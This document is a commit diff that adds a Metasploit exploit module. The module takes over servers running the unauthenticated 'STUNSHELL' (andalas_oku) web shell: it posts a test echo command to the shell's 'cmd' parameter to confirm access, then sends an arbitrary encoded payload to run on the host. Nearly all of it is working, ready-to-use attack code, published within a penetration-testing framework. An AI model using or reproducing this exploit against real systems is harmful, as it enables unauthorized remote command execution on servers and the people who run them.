Added STUNSHELL webshell remote command execution module

Author: bwall

modules/exploits/multi/misc/stunshell_exec.rb

@@ -0,0 +1,88 @@
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => '"STUNSHELL" Web Shell Remote Code Execution',
+			'Description'    => %q{
+				This module exploits unauthenticated versions of the "STUNSHELL" web shell.  This 
+				module works when safe mode is disabled on the web server.  This shell is widely 
+				used in automated RFI payloads.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'bwall <bwall[at]openbwall.com>',  # vuln discovery & msf module
+				],
+			'References'     =>
+				[
+					['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
+					['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007'],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'    => 10000, # Need to test this
+					'BadChars' => '',
+					'DisableNops' => true,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+						}
+				},
+			'Platform'       => ['unix', 'win'],
+			'Arch'           => ARCH_CMD,
+			'Targets'        => [['Automatic',{}]],
+			'DisclosureDate' => 'March 23 2013',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('URI',[true, "The path to the andalas_oku shell", "/"]),
+			],self.class)
+	end
+
+	def check
+		uri = normalize_uri(datastore['URI'])
+		request_parameters = {
+			'method'    => 'POST',
+			'uri'       => uri,
+			'vars_post' =>
+				{
+					'cmd' => "echo 'andalas_oku test parameter'"
+				}
+		}
+		shell = send_request_cgi(request_parameters)
+		if (shell and shell.body =~ /andalas_oku test parameter/)
+			return Exploit::CheckCode::Vulnerable
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def http_send_command(cmd, opts = {})
+		uri = normalize_uri(datastore['URI'])
+		request_parameters = {
+			'method'    => 'POST',
+			'uri'       => uri,
+			'vars_post' =>
+				{
+					'cmd' => cmd
+				}
+		}
+		res = send_request_cgi(request_parameters)
+		if not (res and res.code == 200)
+			fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
+		end
+	end
+
+	def execute_command(cmd, opts = {})
+		http_send_command("#{cmd}")
+	end
+
+	def exploit
+		http_send_command(payload.encoded)
+	end
+end